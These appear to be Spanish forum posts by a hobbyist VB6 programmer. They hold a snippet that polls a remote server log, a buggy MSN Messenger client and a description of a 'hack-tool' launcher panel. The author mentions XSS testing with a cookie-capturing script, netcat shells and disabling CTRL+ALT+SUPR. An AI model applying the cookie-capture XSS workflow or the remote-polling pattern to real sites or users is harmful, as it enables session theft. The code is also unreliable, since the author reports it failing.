DoEvents
x = True
Timer1.Enabled = True
End Sub
'///////// MANDAMOS MENSAJE OFFLINE AL CERRAR ///////////////
Private Sub Form_Unload(Cancel As Integer)
'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION
Dim hOpen As Long
Dim hFile As Long
Dim Url As String

Url = "http://miserver.com/log.php?comando=offline"

        hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _
        vbNullString, vbNullString, 0)
        hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
Espera (1)
End Sub
'//////////////////////////////////////////////////////////////
Private Sub Timer1_Timer()
'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION
Dim sBuffer As String * 128
Dim Ret As Long
Dim str_Total As String
Dim Url As String
If x = True Then

Url = "http://miserver.com/log.txt"

        hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _
        vbNullString, vbNullString, 0)
        hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
'LEEMOS FICHERO

        Call InternetReadFile(hFile, sBuffer, 128, Ret)

        str_Total = sBuffer
       
        While Ret <> 0
            Call InternetReadFile(hFile, sBuffer, 128, Ret)
            str_Total = str_Total & Mid(sBuffer, 1, Ret)
            DoEvents
        Wend
        x = False

Else
    'DESCARGAMOS FICHERO
     hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
        Call InternetReadFile(hFile, sBuffer, 128, Ret)

        str_Total = sBuffer
        While Ret <> 0
            Call InternetReadFile(hFile, sBuffer, 128, Ret)
            str_Total = str_Total & Mid(sBuffer, 1, Ret)
            DoEvents
        Wend

        Text1.Text = str_Total
End If
End Sub

Sub Espera(Segundos As Single)
  Dim ComienzoSeg As Single
  Dim FinSeg As Single
  ComienzoSeg = Timer
  FinSeg = ComienzoSeg + Segundos
  Do While FinSeg > Timer
      DoEvents
      If ComienzoSeg > Timer Then
          FinSeg = FinSeg - 24 * 60 * 60
      End If
  Loop
End Sub



Como podéis ver la parte importante es la deltimer que es la que tiene un valor x=true, para que la primera vez haga el proceso completo pero luego la pone en false para que el timer solo descargue el archivo puesto que la conexión supuestamente está abierta porque yo no la cerré. Quizás me estoy equivocando y esto que quiero hacer no es factible, pero si es así aclarádmelo por favor, porque me estoy comiendo el coco demasiado xDD
Saludos,

y gracias de antemano.
#16
Hola, pues llevo más o menos toda la tarde líado con un intento de cliente de msn. Ya sé que hay muchos códigos por google y eso, pero no me gustan, hay algunos que tienen demasiado código basura que no me sirve de nada, he leído bastante sobre los protocolos de MSN y creo que tengo ya una idea de como funcionan y si no me equivoco esto que hice, está correcto, sé que puede optimizarse, y lo haré pero de momento simplemente quería que conectase, el problema es que no lo hace. En el data_arrival del socket una vez conectado he capturado los datos que recibe y me sale ???????????????

No sé que pasará por eso os pido ayuda a ver si sabéis ayudarme un poco, el código es el siguiente:

Código (vb) [Seleccionar]
Dim data, aux, keys As String
Dim vaux As Variant

Private Sub Command1_Click()
Winsock1.Connect "messenger.hotmail.com", 1863
End Sub

Private Sub Winsock1_Connect()
Winsock1.SendData "VER 1 MSNP8 CVR0" & vbCrLf
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Winsock1.GetData data
Winsock1.GetData aux
data = Left(data, 3)

Select Case data

Case "VER"
Winsock1.SendData "CVR 2 0x0C0A winnt 5.1 i386 MSNMSGR 7.5.0311 MSMSGS " & Text1.Text & vbCrLf

Case "CVR"
'//EL TEXT1.TEXT CONTIENE LA CUENTA CON LA QUE QUIERO CONECTAR
Winsock1.SendData "USR 3 TWN I " & Text1.Text & vbCrLf


Case "XFR"  '//                       AQUÍ LO QUE HAGO ES COGER SOLO
aux = Mid(aux, 9, 18)             'LA PARTE DEL PAQUETE QUE TIENE LOS
vaux = Split(aux, ":")              'DATOS QUE ME INTERESAN
Winsock1.Close
Winsock2.Connect vaux(0), vaux(1)
End Select
End Sub


Private Sub Winsock2_Connect()
Winsock1.SendData "VER 4 MSNP8 CVR0" & vbCrLf
End Sub


Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
Winsock2.GetData data
Winsock2.GetData aux

Select Case data
data = Left(data, 3)
Case "VER"
Winsock2.SendData "CVR 5 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS " & Text1.Text & vbCrLf

Case "CVR"
Winsock2.SendData "USR 6 TWN I " & Text1.Text & vbCrLf

Case "USR"
Dim a As Integer
a = Len(aux) - 11
keys = Mid(aux, 11, a)
Winsock3.Connect "login.passport.com", 443
End Select
End Sub

Private Sub Winsock3_Connect()
Winsock3.SendData "GET /login2.srf HTTP/1.0" & vbCrLf & _
                  "Accept: */*" & vbCrLf & _
                  "Host: login.passport.com" & vbCrLf & _
                  "Authorization: Passport1 0.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,signin=" & Text1.Text & ",pwd=password," & keys & vbCrLf

End Sub

Private Sub Winsock3_DataArrival(ByVal bytesTotal As Long)
Winsock3.GetData data
End Sub


Y bueno eso es todo el código, ni que decir tiene que no pasa ni de la primera acción, puse un timer que capturase en todo momento el valor "data" y desde que conecta y envía el primer comando ya el data se vuelve "????????" no sé por que, porque si hago los mismos pasos desde telnet o netcat me va devolviendo bien los valores.

Alguna idea para ayudarme por favor??

Gracias
#17
Hola, la idea de hacer este post es que he programado una utilidad, una herramienta... llamémosle como sea pero quería compartir con todos vosotros la idea y por supuesto pues espero críticas, sugerencias para mejorarla... nose... lo que queráis.

La herramienta se llama Dwarf's Hack-Tool y está programada en Visual Basic 6, el por qué de ese nombre tiene una pequeña historia que no viene al caso. En fin lo importante es en que consiste:

La herramienta en sí es un panel desplegable, que se integra a la derecha de la pantalla de Windows (está preparado para resoluciones de 1024x768). Tiene un botón con las flechas que hacen desplegar o contraer el panel aunque también puede contraerse y expandirse pulsando la tecla F12.
Os dejo unas capturas para que veáis el panel contraído y expandido.
Se integra en la parte inferior derecha de la pantalla.



Bueno la idea de hacer esto fue realmente por comodidad, por facilitar el acceso a todas las herramientas que tengo. Porque un amigo me pidió que hiciera unas pruebas en su web de XSS y claro mientras buscaba el archivo que capturaba las cookies, los scripts y demás que no recordaba donde tenía tardé bastante tiempo, está bien tenerlo todo bien organizado, que la verdad es que si que suelo tenerlo pero con este panel lo tengo todo mucho más a mano.
Necesito el sniffer: clickeo en sniffer, necesito un escáner: pulso en escáners y selecciono el que quiera, necesito netcat: pulso en shell y se despliegan los programas de shell que más comúnmente uso: el cmd, el netcat, telnet y putty.


Bueno la idea era simplificar bastante todas las herramientas que uso en mi PC y además mantengo el escritorio limpio de miles de accesos directos y demás como podéis ver en las capturas está todo bastante organizado.
Además ya pensé en incluírle algunas opciones más, por ejemplo a la derecha del panel véis unos pequeños iconos de unidades de disco,me permite abrir mis particiones sin tener que entrar a "Mi PC", luego el candado que aparece me permite bloquear el PC. Esto más que nada lo pensé porque tengo primos pequeños, hermanos y demás y muchas veces me voy un momento a algún sitio y no quiero que toquen el PC. Normalmente apagaba la pantalla pero pueden tocar el teclado y demás, pues bueno esta opción abre un Form que ocupa toda la pantalla, se coloca por encima de cualquier otro programa y esconde la barra de tareas y anula CTRL+ALT+SUPR, para bloquear el PC me pide un nombre de usuario y password, para que cualquiera no lo bloquee.



También tiene una opción de configuración donde están todas las ubicaciones de los programas que ejecuta el panel y demás, por ejemplo por si tengo ahora el telnet de windows en C:\WINDOWS\System32\telnet.exe y me descargo otro cliente de telnet que me parece mejor, entro en la configuración y modifico la ubicación del programa fácilmente, y ya me cargará ese programa cuando pulse en telnet en lugar del telnet de Windows.


He intentado hacerlo todo de la forma más cómoda posible. Y bueno todos los datos de las ubicaciones las guarda en un archivo "config.ini" que carga cada vez que se inicia el programa.
El panel se añade además al registro y se inicia con Windows para no tener que estar ejecutándolo cada vez que inicie Windows, además al contraerse no molesta nada así que a mi de momento me va bastante bien.
Bueno además he dejado 4 iconos que son personalizables. Osea entras en la configuracion y pones el nombre del programa que va a abrir ese icono y su ubicación. Ej:Calculadora  C:\WINDOWS\System32\calc.exe. Guardas la configuración y ya ese botón abrira siempre la calculadora hasta que quieras cambiar la configuración. Puedes hacer también que abra una página web, una lista de reproducción de música, una película... lo que quieras.


Aunque pareza simple tiene sus cositas el programa y el diseño también es completamente mío así que me ha llevado sus horas programar el panel completo, ahora está en versión BETA y lo estoy probando en mi pc a ver que tal va.
Aquí tenéis el panel que trabaja por encima de cualquier ventana, navegador o cualquier programa para tener todas las herramientas a mano, y si molesta pulsas F12 y lo contraes, así de simple ;)


Bueno lo único que espero, que como véis aún sobra espacio en el panel por si teníais alguna sugerencia más que ponerle, cualquier idea será bienvenida. Y críticas para mejorarlo... quitarle algo, añadirle algo más tal vez... nosé lo que queráis me ayudaríais mucho.

Pues eso es todo, gracias por leer el post y espero vuestras sugerencias y críticas.
Pronto publicaré el programa y posiblemente también su código fuente ;)

Saludos,

Auron